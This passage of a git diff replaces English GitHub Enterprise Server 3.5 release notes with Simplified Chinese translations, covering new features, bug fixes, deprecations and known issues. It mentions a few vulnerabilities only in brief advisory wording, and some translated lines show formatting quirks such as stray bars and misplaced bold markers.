current version of the base branch before you merge. Two enhancements now give you more ways to keep your branch up-to-date. + - |通过拉取请求页面上的**“更新分支”**按钮,你可以使用来自基础分支的最新更改来更新拉取请求的分支。这对于在合并之前验证更改是否与基础分支的当前版本兼容非常有用。现在有两个增强功能为你提供了保持分支更新的更多方法。 - - When your pull request's topic branch is out of date with the base branch, you now have the option to update it by rebasing on the latest version of the base branch. Rebasing applies the changes from your branch onto the latest version of the base branch, resulting in a branch with a linear history since no merge commit is created. To update by rebasing, click the drop down menu next to the **Update Branch** button, click **Update with rebase**, and then click **Rebase branch**. Previously, **Update branch** performed a traditional merge that always resulted in a merge commit in your pull request branch. This option is still available, but now you have the choice. For more information, see "[Keeping your pull request in sync with the base branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)." - - A new repository setting allows the **Update branch** button to always be available when a pull request's topic branch is not up to date with the base branch. Previously, this button was only available when the **Require branches to be up to date before merging** branch protection setting was enabled. People with admin or maintainer access can manage the **Always suggest updating pull request branches** setting from the **Pull Requests** section in repository settings. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)." - - heading: Configure custom HTTP headers for GitHub Pages sites +- 当拉取请求主题分支的基础分支过时时,你现在可以选择对基础分支的最新版本进行变基来更新它。变基将分支中的更改应用到基础分支的最新版本,这会生成一个具有线性历史记录的分支,因为没有创建合并提交。若要通过变基更新,单击**“更新分支”**按钮旁的下拉菜单,单击**“使用变基更新”**,然后单击**“变基分支”**。在此之前,**更新分支**执行的是传统合并,它总是导致拉取请求分支中的合并提交。此选项仍然可用,但现在你有更多选择。有关详细信息,请参阅“[使拉取请求与基础分支保持同步](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)”。 + + + +- 新的存储库设置允许在拉取请求主题分支的基础分支不是最新时**“更新分支”**按钮始终可用。在此之前,此按钮仅在**“要求分支在合并之前更新”**分支保护设置启用时可用。具有管理员或维护员访问权限的人员可以在存储库设置的**“拉取请求”**部分管理**“始终建议更新拉取请求分支”设置。有关详细信息,请参阅“[管理更新拉取请求分支的建议](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)”。 + +| + - heading: 为 GitHub Pages 站点配置自定义 HTTP 标头 notes: # https://github.com/github/releases/issues/2124 - - | - You can now configure custom HTTP headers that apply to all GitHub Pages sites served from your GitHub Enterprise Server instance. For more information, see "[Configuring GitHub Pages for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise#configuring-github-pages-response-headers-for-your-enterprise)." + - |现在,你可以配置自定义 HTTP 标头,该标头应用于从 GitHub Enterprise Server 实例提供的所有 GitHub Pages 站点。有关详细信息,请参阅“[为企业配置 GitHub Pages](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise#configuring-github-pages-response-headers-for-your-enterprise)”。 - - heading: Ignore commits in blame view +| + - heading: 忽略意见视图中的提交 notes: # https://github.com/github/releases/issues/2090 - - | - It's now possible to ignore revisions in the blame view by creating a _.git-blame-ignore-revs_ file in the root of your repository. For more information, see "[Viewing a file](/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view)." + - |现在可以通过在存储库的根目录中创建 _.git-blame-ignore-revs_ 文件来忽略意见视图中的修订。有关详细信息,请参阅“[查看文件](/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view)”。 - - heading: Light high contrast theme is generally available +| + - heading: 光高对比度主题正式发布 notes: # https://github.com/github/releases/issues/2011 - - | - A light high contrast theme, with greater contrast between foreground and background elements, is now generally available. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." + - |一个在前景和背景元素之间有更大对比度的光高对比度主题,现在正式发布。有关详细信息,请参阅“[管理主题设置](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 - - heading: Tag protection rules +| + - heading: 标记保护规则 notes: # https://github.com/github/releases/issues/1793 - - | - Repository owners can now configure tag protection rules to protect a repository's tags. Once protected by a tag protection rule, tags matching a specified name pattern can only be created and deleted by users with the Maintain or Admin role in the repository. For more information, see "[Configuring tag protection rules](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)." + - |存储库所有者现在可以配置标记保护规则来保护存储库的标记。一旦受到标记保护规则的保护,匹配指定名称模式的标记只能由存储库中具有维护或管理员角色的用户创建和删除。有关详细信息,请参阅“[配置标记保护规则](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)”。 +| bugs: # https://github.com/github/releases/issues/1934 - - | - It is now possible for GitHub Apps to upload release assets. + - |GitHub Apps 现在可以上传发布资产。 +| changes: # https://github.com/github/releases/issues/2063 - - | - To use the device authorization flow for OAuth and GitHub Apps, you must manually enable the feature. This change reduces the likelihood of apps being used in phishing attacks against GitHub Enterprise Server users by ensuring integrators are aware of the risks and make a conscious choice to support this form of authentication. If you own or manage an OAuth App or GitHub App and you want to use the device flow, you can enable it for your app via the app's settings page. The device flow API endpoints will respond with status code `400` to apps that have not enabled this feature. For more information, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)." + - |要使用 OAuth 和 GitHub 应用的设备授权流,必须手动启用该功能。通过确保集成者意识到风险,并有意识地选择支持这种形式的身份验证,这一更改降低了应用被用于针对 GitHub Enterprise Server 用户的钓鱼攻击的可能性。如果你拥有或管理 OAuth 应用或 GitHub 应用,并且希望使用设备流,则可以通过应用的设置页面为应用启用它。设备流 API 终结点将以状态代码 `400` 响应未启用此功能的应用。有关详细信息,请参阅“[授权 OAuth 应用](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)”。 +| # https://github.com/github/releases/issues/2049 - - | - The code scanning alert page now always shows the alert status and information for the default branch. There is a new "Affected branches" panel in the sidebar where you can see the status of the alert in other branches. If the alert does not exist in your default branch, the alert page will show the status as "In branch" or "In pull request" for the location where the alert was last seen. This improvement makes it easier to understand the status of alerts which have been introduced into your code base. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)." + - |代码扫描警报页面现在总是显示默认分支的警报状态和信息。在侧边栏中有一个新的“受影响的分支”面板,在那里你可以看到其他分支中的警报状态。如果警报在默认分支中不存在,警报页面将为最后一次看到警报的位置显示状态为“在分支中”或“在拉取请求中”。此改进使我们更易于理解引入到代码库中的警报状态。有关详细信息,请参阅“[关于代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)”。 - The alert list page is not changed and can be filtered by `branch`. You can use the code scanning API to retrieve more detailed branch information for alerts. For more information, see "[Code Scanning](/rest/code-scanning)" in the REST API documentation. + +警报列表页面没有变化,可以按 `branch` 进行筛选。可以使用代码扫描 API 为警报检索更详细的分支信息。有关详细信息,请参阅 REST API 文档中的“[代码扫描](/rest/code-scanning)”。 + +| # https://github.com/github/releases/issues/2050 - - | - Code scanning now shows the details of the analysis origin of an alert. If an alert has more than one analysis origin, it is shown in the "Affected branches" sidebar and in the alert timeline. You can hover over the analysis origin icon in the "Affected branches" sidebar to see the alert status in each analysis origin. If an alert only has a single analysis origin, no information about analysis origins is displayed on the alert page. These improvements will make it easier to understand your alerts. In particular, it will help you understand those that have multiple analysis origins. This is especially useful for setups with multiple analysis configurations, such as monorepos. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)." + - |代码扫描现在显示警报分析源的详细信息。如果一个警报有多个分析源,它将显示在“受影响的分支”边栏和警报时间线中。可以将鼠标悬停在“受影响的分支”边栏中的分析源图标上,以查看每个分析源中的警报状态。如果警报只有一个分析源,则警报页上不会显示任何有关分析源的信息。这些改进将使你更易于理解警报。特别是,它将帮助你理解那些具有多个分析源的内容。这对于具有多个分析配置的设置尤其有用,例如单存储库。有关详细信息,请参阅“[关于代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)”。 +| # https://github.com/github/releases/issues/2071 - - | - Lists of repositories owned by a user or organization now have an additional filter option, "Templates", making it easier to find template repositories. + - |由用户或组织拥有的存储库列表现在有一个额外的筛选选项,即“模板”,可以更轻松地找到模板存储库。 +| # https://github.com/github/releases/issues/1947 - - | - GitHub Enterprise Server can display several common image formats, including PNG, JPG, GIF, PSD, and SVG, and provides several ways to compare differences between versions. Now when reviewing added or changed images in a pull request, previews of those images are shown by default. Previously, you would see a message indicating that binary files could not be shown and you would need to toggle the "Display rich diff" option. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files)." + - |GitHub Enterprise Server 可以显示几种常见的图像格式,包括 PNG、JPG、GIF、PSD 和 SVG,并提供了几种方法来比较版本之间的差异。现在,当查看拉取请求中添加或更改的图像时,默认会显示这些图像的预览形式。以前,你会看到一条消息,指示无法显示二进制文件,需要切换“显示多差异”选项。有关详细信息,请参阅“[使用非代码文件](/repositories/working-with-files/using-files/working-with-non-code-files)”。 +| # https://github.com/github/releases/issues/2054 - - | - New gists are now created with a default branch name of either `main` or the alternative default branch name defined in your user settings. This matches how other repositories are created on GitHub Enterprise Server. For more information, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch)" and "[Managing the default branch name for your repositories](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories)." + - |现在使用默认分支名称 `main` 或用户设置中定义的替代默认分支名称来创建新 Gist。这与在 GitHub Enterprise Server 上创建其他存储库的方式相匹配。有关详细信息,请参阅“[关于分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch)”和”[管理存储库的默认分支名称](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories)”。 +| # https://github.com/github/releases/issues/2028 - - | - Gists now only show the 30 most recent comments when first displayed. You can click **Load earlier comments...** to view more. This allows gists that have many comments to appear more quickly. For more information, see "[Editing and sharing content with gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists)." + - |第一次显示时,Gist 现在只显示最近 30 条评论。可以单击**“加载之前的评论...”**查看详细信息。这使得有很多评论的 Gist 可以更快地出现。有关详细信息,请参阅“[通过 Gist 编辑和共享内容](/get-started/writing-on-github/editing-and-sharing-content-with-gists)”。 +| # https://github.com/github/releases/issues/2036 - - | - Settings pages for users, organizations, repositories, and teams have been redesigned, grouping similar settings pages into sections for improved information architecture and discoverability. For more information, see the [GitHub changelog](https://github.blog/changelog/2022-02-02-redesign-of-githubs-settings-pages/). + - |对用户、组织、存储库和团队的设置页面进行了重新设计,将类似的设置页面分组为小节,以改进信息体系结构并提高可发现性。有关详细信息,请参阅 [GitHub 更改日志](https://github.blog/changelog/2022-02-02-redesign-of-githubs-settings-pages/)。 +| # https://github.com/github/releases/issues/2129 - - | - Focusing or hovering over a label now displays the label description in a tooltip. + - |聚焦或悬停在标签上现在会在工具提示中显示标签说明。 +| # https://github.com/github/releases/issues/1983 - - | - Creating and removing repository invitations, whether done through the API or web interface, are now subject to rate limits that may be enabled on your GitHub Enterprise Server instance. For more information about rate limits, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits)." + - |创建和删除存储库邀请,无论是通过 API 还是通过 Web 界面,现在都受制于可以在 GitHub Enterprise Server 实例上启用的速率限制。有关详细信息,请参阅“[配置速率限制](/admin/configuration/configuring-your-enterprise/configuring-rate-limits)”。 +| # https://github.com/github/releases/issues/2291 - - | - MinIO has announced the removal of the MinIO Gateways starting June 1st, 2022. While MinIO Gateway for NAS continues to be one of the supported storage providers for Github Actions and Github Packages, we recommend moving to MinIO LTS support to avail support and bug fixes from MinIO. For more information about rate limits, see "[Scheduled removal of MinIO Gateway for GCS, Azure, HDFS in the minio/minio repository](https://github.com/minio/minio/issues/14331)." - + - |MinIO 已宣布从 2022 年 6 月 1 日开始移除 MinIO 网关。虽然 MinIO NAS 网关仍然是 Github Actions 和 Github Packages 所支持的存储提供商之一,但我们建议转移到 MinIO LTS 支持,以利用 MinIO 提供的支持和 bug 修复。有关速率限制的详细信息,请参阅“[计划删除 minio/minio 存储库中适用于 GCS、Azure、HDFS 的 MinIO 网关](https://github.com/minio/minio/issues/14331)”。 +| deprecations: - - heading: Change to the format of authentication tokens + - heading: 更改身份验证令牌的格式 notes: # https://github.com/github/releases/issues/1235 - - | - GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/changelog/2021-03-31-authentication-token-format-updates-are-generally-available/). + - |由于 GitHub 身份验证令牌的格式发生变化,6 月 3 日之后,运行 GitHub Enterprise Server 3.1 或更早版本的实例将不再使用 GitHub Connect。有关详细信息,请参阅 [GitHub 更改日志](https://github.blog/changelog/2021-03-31-authentication-token-format-updates-are-generally-available/)。 - - heading: CodeQL runner deprecated in favor of CodeQL CLI +| + - heading: CodeQL 运行器已弃用,而改用 CodeQL CLI notes: # https://github.com/github/releases/issues/1632 - - | - The CodeQL runner is deprecated in favor of the CodeQL CLI. GitHub Enterprise Server 3.4 and later no longer include the CodeQL runner. This deprecation only affects users who use CodeQL code scanning in 3rd party CI/CD systems. GitHub Actions users are not affected. GitHub strongly recommends that customers migrate to the CodeQL CLI, which is a feature-complete replacement for the CodeQL runner and has many additional features. For more information, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)." - - - heading: Theme picker for GitHub Pages has been removed + - |CodeQL 运行器已弃用,而改用 CodeQL CLI。GitHub Enterprise Server 3.4 和更高版本不再包含 CodeQL 运行器。此弃用只影响在第三方 CI/CD 系统中使用 CodeQL 代码扫描的用户。GitHub Actions 用户不受影响。GitHub 强烈建议客户迁移到 CodeQL CLI,它是 CodeQL 运行器功能完善的替代工具,并具有许多额外功能。有关详细信息,请参阅“[从 CodeQL 运行器迁移到 CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)”。 + +| + - heading: GitHub Pages 主题选取器已删除 notes: - - | - The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)." - + - |GitHub Pages 主题选取器已从“页面设置”中删除。有关 GitHub Pages 主题配置的详细信息,请参阅“[使用 Jekyll 向 GitHub Pages 站点添加主题](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme -to-your-github-pages-site-using-jekyll)”。 + +| known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services need to be restarted after restoring an appliance from a backup taken on a different host. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - 从不同主机上的备份恢复设备后,需要重新启动操作服务。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-5/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-5/4.yml index 2d4ef88879..18b77b50d9 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-5/4.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-5/4.yml @@ -1,33 +1,32 @@ date: '2022-08-11' sections: security_fixes: - - | - **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). - - | - **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + - |严重****:GitHub Enterprise Server 的 Elasticsearch 容器使用的 OpenJDK 8 版本在处理恶意 XSLT 样式表时容易出现整数截断问题。该漏洞的编号为 [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf)。 + +| + - |高****:在用户帐户转换为组织帐户后,用户帐户上以前安装的应用程序会自动获得访问作用域内访问令牌上的组织的权限。此漏洞是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。 + +| bugs: - - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot. - - In some cases, UI elements within a pull request's **Files changed** tab could overlap. - - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." - - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." - - In some cases, Elasticsearch's post-upgrade `es:upgrade` process could crash before completion. - - The script for migration to internal repositories failed to convert the visibility for public repositories to internal or private. For more information about the migration, see "[Migrating to internal repositories](/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories)." - - Detection of GitHub Actions workflow files for the dependency graph was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#supported-package-ecosystems)." - - The ability to reopen dismissed Dependabot alerts was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Viewing and updating Dependabot alerts](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)." - - The ability to always suggest updates from the base branch to a pull request's HEAD was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)." - - The light high contrast theme was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)." + - 在某些情况下,AWS 上使用 `r4.4xlarge` 实例类型的 GitHub Enterprise Server 实例将无法启动。 + - 在某些情况下,拉取请求的“文件已更改”选项卡内的 UI 元素可能重叠****。 + - "当为实例设置自定义休眠阈值时,暂停所有休眠用户并不能可靠地遵从阈值。有关休眠的详细信息,请参阅“[管理休眠用户](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)”。" + - "在为 GitHub Advanced Security 计算提交者时,无法指定各个存储库。有关详细信息,请参阅“[站点管理员仪表板](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)”。" + - "在某些情况下,Elasticsearch 的升级后 `es:upgrade` 进程可能会在完成前崩溃。" + - "迁移到内部存储库的脚本无法将公共存储库的可见性转换为内部或专用。有关迁移的详细信息,请参阅“[迁移到内部存储库](/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories)”。" + - "在 GitHub Enterprise Server 3.5.0、3.5.1、3.5.2 和 3.5.3 中,无法检测依赖关系图的 GitHub Actions 工作流文件,但此功能现在在 3.5.4 中可用。有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#supported-package-ecosystems)”。" + - "在 GitHub Enterprise Server 3.5.0、3.5.1 3.5.2 和 3.5.3 中,无法重新启动关闭的 Dependabot 警报,但此功能现在在 3.5.4 中可用。有关详细信息,请参阅“[查看和更新 Dependabot 警报](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)”。" + - "在 GitHub Enterprise Server 3.5.0、3.5.1 3.5.2 和 3.5.3 中,无法始终建议从基本分支到拉取请求的 HEAD 的更新,但此功能现在在 3.5.4 中可用。有关详细信息,请参阅“[管理更新拉取请求分支的建议](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)”。" + - "在 GitHub Enterprise Server 3.5.0、3.5.1 3.5.2 和 3.5.3 中,无法使用浅色高对比度主题,但此功能现在在 3.5.4 中可用。有关详细信息,请参阅“[管理主题设置](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings)”。" changes: - - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.' + - '`pre_receive_hook.rejected_push` 事件未显示在企业审核日志中。' known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services need to be restarted after restoring an appliance from a backup taken on a different host. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - 从不同主机上的备份恢复设备后,需要重新启动操作服务。 - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 2022-11-28] - - '{% data reusables.release-notes.babeld-max-threads-performance-issue %}' \ No newline at end of file diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-5/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-5/5.yml index 05de05ac2b..b7f41bbb96 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-5/5.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-5/5.yml @@ -1,30 +1,27 @@ date: '2022-08-30' sections: bugs: - - After unlocking a repository for temporary access, a site administrator was unable to manage settings for security products in the repository. - - Duplicate administrative SSH keys could appear in both the Management Console and the `/home/admin/.ssh/authorized_keys` file. - - The site admin page for individual users at http(s)://HOSTNAME/stafftools/users/USERNAME/admin contained functionality not intended for GitHub Enterprise Server. - - In some cases, running `ghe-cluster-config-apply` could replicate an empty configuration to existing nodes in a cluster. - - In some cases, configuration runs started with `ghe-config-apply` did not complete, or returned a `Container count mismatch` error. - - After updating a self-signed TLS certificate on a GitHub Enterprise Server instance, UI elements on some pages in the web interface did not appear. - - The site admin bar at the top of the web interface contained a broken link to the SHA for the currently running version of the application. - - In some cases, background tasks could stall due to a library that was used concurrently despite not being thread-safe. - - Alerts from secret scanning for GitHub Advanced Security customers were missing in the web UI and REST API if a site administrator did not upgrade directly to GitHub Enterprise Server 3.4. The alerts are now visible. - - When a user forked a repository into an organization, a long list of organizations would not render properly. + - 解锁存储库以进行临时访问后,站点管理员无法管理存储库中安全产品的设置。 + - 管理控制台和 `/home/admin/.ssh/authorized_keys` 文件中可能会出现重复的管理 SSH 密钥。 + - "http(s)://HOSTNAME/stafftools/users/USERNAME/admin 的个人用户的站点管理员页面包含不适用于 GitHub Enterprise Server 的功能。" + - 在某些情况下,运行 `ghe-cluster-config-apply` 可以将空配置复制到群集中的现有节点。 + - 在某些情况下,以 `ghe-config-apply` 开始的配置运行未完成,或返回了 `Container count mismatch` 错误。 + - 在 GitHub Enterprise Server 实例上更新自签名 TLS 证书后,Web 界面中某些页面上的 UI 元素没有显示。 + - Web 界面顶部的站点管理员栏包含指向当前正在运行的应用程序版本的 SHA 的断开链接。 + - 在某些情况下,尽管不是线程安全的,但由于同时使用的库,可能会导致后台任务停止。 + - 如果站点管理员没有直接升级到 GitHub Enterprise Server 3.4,则 Web UI 和 REST API 中缺少来自 GitHub Advanced Security 客户的机密扫描的警报。警报现在可见。 + - 当用户将存储库分叉到组织中时,一长串组织将无法正确呈现。 changes: - - Generation of support bundles is faster as a result of parallelized log sanitization. For more information about support bundles, see "[Providing data to GitHub Support](/support/contacting-github-support/providing-data-to-github-support)." - - APIs that contain the `organization` or `org` route now accept either the organization's slug or ID. Previously, the APIs only accepted slugs, which caused `Link` headers for GitHub Advanced Security endpoints to be inaccessible. For more information, see "[Organizations](https://docs.github.com/rest/orgs/orgs)" in the REST API documentation. - - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." - - In some cases, cache replicas could reject some Git operations on recently updated repositories. For more information about repository caching, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)." + - "由于并行日志清理,支持包的生成速度更快。有关支持包的详细信息,请参阅“[将数据提供给 GitHub 支持](/support/contacting-github-support/providing-data-to-github-support)”。" + - "包含 `organization` 或 `org` 路由的 API 现在接受组织的 slug 或 ID。以前,API 只接受 slug,这导致 GitHub Advanced Security 终结点的 `Link` 标头无法访问。有关详细信息,请参阅 REST API 文档中的“[组织](https://docs.github.com/rest/orgs/orgs)”。" + - "企业审核日志现在包含更多用户生成的事件,例如 `project.create`。REST API 还返回其他用户生成的事件,例如 `repo.create`。有关详细信息,请参阅“[访问企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for -your-enterprise)”和“[使用企业的审核日志 API](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit- log-api-for-your-enterprise#querying-the-audit-log-rest-api)”。" + - "在某些情况下,缓存副本可能会拒绝对最近更新的存储库的某些 Git 操作。有关存储库缓存的详细信息,请参阅“[关于存储库缓存](/admin/enterprise-management/caching-repositories/about-repository-caching)”。" known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. - - Actions services need to be restarted after restoring an appliance from a backup taken on a different host. - - | - GitHub Pages builds may time out on instances in AWS that are configured for high availability. [Updated: 